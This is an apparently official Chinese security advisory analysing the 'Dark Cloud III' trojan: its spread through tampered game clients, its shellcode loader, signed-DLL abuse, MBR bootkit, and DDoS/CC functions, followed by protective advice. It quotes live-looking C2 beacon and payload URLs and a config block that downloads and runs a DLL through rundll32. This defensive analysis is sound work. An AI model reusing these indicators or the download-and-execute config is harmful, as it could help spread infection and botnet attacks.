1. 基本情况

  近期一款名为“ 暗云”的木马在互联网大规模传播,该恶意程序会通过对正常的“赤月传说”、“传奇霸业”等游戏微端进行修改,伪装成正常的游戏通过各大下载站的下载器等多种传播渠道进行海量推广。当用户下载运行了这些非官方的游戏微端之后,恶意程序便会执行潜伏到用户电脑中,它具有较高的隐蔽性和兼容性,并且拥有正常的数字签名,可躲过部分杀毒软件的查杀。暗云木马目前已知的攻击行为包括感染MBR、占用用户带宽进行DDOS等。另外该恶意程序会在每次重新启动时从云端服务器获取更新信息,可随时自定义攻击行为。

2. 感染情况

  据国家互联网应急中心统计,目前累计感染该恶意程序的主机达160万台,其中99%是我国境内主机,江苏省由于网民数量庞大,感染数量在15万台左右,占有较高的比例。同时研究发现暗云木马的控制端在国外,控制IP数目10个左右,该控制网路已经在国内形成了强大的网络僵尸群,不仅用户的个人隐私信息安全会受到影响,并且一旦利用僵尸网络发起攻击会对互联网网络造成严重影响。

3. 样本分析

3.1  样本概况

  程序对正常的游戏客户端进行修改,表面上看上去与正常的客户端程序没有任何区别,并且拥有正确的数字签名,程序运行后就是正常的游戏客户端。

3.2  主程序加载器分析

  该恶意程序运行时首先会加载自身资源文件,该资源文件是正常的图片末尾添加了一段shellcode

恶意程序首先调用这段shellcode,这段shellcode是一个头部跟压缩过后的dll组装在一起的,头部完成的功能就是解压这个dll,然后内存加载。

该DLL文件包含了主要的恶意代码,首先它对用户电脑进行检测,满足下列条件才会从服务端下载感染程序安装到本地。

  • 1.安装包文件名格式,必须包含两个下划线和一个点,最后一个段是其推广渠道号

  • 2.通过目录下的ini判断是否是第一次运行,只有第一次运行才会下载

  • 3.通过WMI查询磁盘名称,检测虚拟机

  • 4.检测是否是在网吧运行

  • 5.检测是否存在杀毒软件

条件判断合格后,将获取到的信息上传到云端,并从云端拉取配置信息:

	http://c2tongji.b5156.com:89/stats.php?m=08-00-**-**-**-**&uid=b42be3fd-****-4338-****-d6fd64eb9576&hid=48DC0EC2&channelid=b108&p=9377_hyaz2a8_b108.exe&tick=26C717C1228272B9AC3A9E392CAD0721&pq=0&p3=0

该信息主要包括mac,硬盘序列号,用户id、取到号、文件名等。

拉到的配置信息为:

	[Update]
	Version=2
	Url=http://update.njmmy.com:8089/config/LDrvSvc.zip
	CmdLine=rundll32.exe LDrvSvc.dll,RundllInstall Dir=%appdata%\LDrvSvc

然后下载LDrvSvc.zip,解压后执行CmdLine,通过rundll32执行LDrvSvc.dll。同时将游戏登录界面展示给用户,不影响游戏的正常功能。LDrvSvc.dll文件也带有白签名。后面的工作交给LDrvSvc.dll去执行

3.3  LDrvSvc模块分析

  LDrvSvc.dll本身是一个驱动人生的一个DLL,默认就会执行安装服务操作,恶意程序借助它自己的这个特性来实现自启动。

服务启动时会进入LDrvSvc.dll的ServiceMain接口,在此之前都是白文件原有的流程,直到ServiceMain中加载同目录下的DtlCrashCatch.dll的时候,DtlCrashCatch.dll是被恶意修改过的文件,并添加了自己的数字签名。此时该模块运行在系统的服务权限下,为下面进行MBR感染提供了条件。该dll与主程序加载器使用同一种方法加载恶意shellcode,提取出该内存加载的dll模块,在DLLMAIN中首先创建一个线程,每隔一段时间就去请求一个地址

	URL:http://www.2tf1.com/upcfg.db

获取到远端DB文件的数据之后做一个简单的解密,之后判断开头4字节是否为0xA5A5A5A5,如果是的话执行下面部分的shellcode。

3.4  upcfgDB 模块分析

首先会判断自己是否运行在SYSTEM权限,由于是通过服务启动的所以会满足条件

接下来就是感染MBR的操作,具体细节参见

BootKit 启动过程跟之前暗云版本没有什么不同,都是由MBR开始通过int 15中断一步步的hook来跟随系统的引导流程进入系统内核执行,该套代码可兼容xp、vista、win7、win8等主流操作系统,包括64位和32位。

直接在内核以TDI的方式访问网络下载shellcode解密后直接在内核中运行。。且木马自带了dns服务器地址用来解析域名。尝试以APC的方式向应用层指定进程插入该dll文件。Shellcode会遍历进程,当发现以下某一进程时,进行插入,成功后不再尝试其它进程。

3.5  PayLoad.dll分析

该模块是主要执行功能命令的模块,首先会每隔一段时间请求以下网址:

www.acsewle.com:8877/ds/kn.html 通过对该域名进行访问可以发现配置信息,并且存在一个db文件的下载链接。

之后创建傀儡进程svchost.exe,并将内置有脚本解释器的恶意dll注入执行。然后是不断从网上请求下载lua脚本并解析执行:

	http://www.acsewle.com:8877/ld/ndn.db

通过分析,得知ndn.db的文件结构,大致如下:

	struct f_db{
      DWORD fileLen; // lua脚本bytecode文件大小
      DWORD runType; // 运行类型
      char fileName[24]; // lua脚本文件名
      char fileData[fileLen]; // lua脚本bytecode内容}

根据文件结构,进而可从ndn.db中提取到多个lua脚本的bytecode。

分析得知,其使用的lua版本为5.3,是自行更改过虚拟机进行编译。使用普通反编译工具反编译后,只能得到部分可读明文,经过分析统计可知道暗云Ⅲ现有发布的功能大致有以下几类,如图所示:

  • 1.用户统计,通过访问cnzz和51.la两个站点统计页面,以便统计参与攻击的机器数及次数。

  • 2.DDOS,直接do、while循环,不停地对目标服务发起访问。

  • 3.CC攻击,随机使用UserAgent来对目标网站发起访问

4. 防范措施

  根据“暗云Ⅲ”木马程序的传播特性,建议用户近期采取积极的安全防范措施:

  • 1.不要选择安装捆绑在下载器中的软件,不要运行来源不明或被安全软件报警的程序,不要下载运行游戏外挂、私服登录器等软件。
  • 2.定期在不同的存储介质上备份信息系统业务和个人数据。

  针对已经感染的主机,可使用专杀工具进行清除,目前各大杀毒厂商均可对其进行查杀修复处理。

参考链接:

  1. 暗云Ⅲ危害——不仅仅是DDoS: http://tav.qq.com/index/newsDetail/276.html